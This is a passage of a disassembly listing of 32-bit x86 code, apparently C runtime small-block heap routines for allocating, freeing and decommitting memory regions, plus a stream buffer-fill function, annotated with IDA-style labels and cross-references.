		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 289079Ah


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2790000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 289079Ah
		nop
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		call	near ptr 2790000h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 289079Ah
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2890966h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp

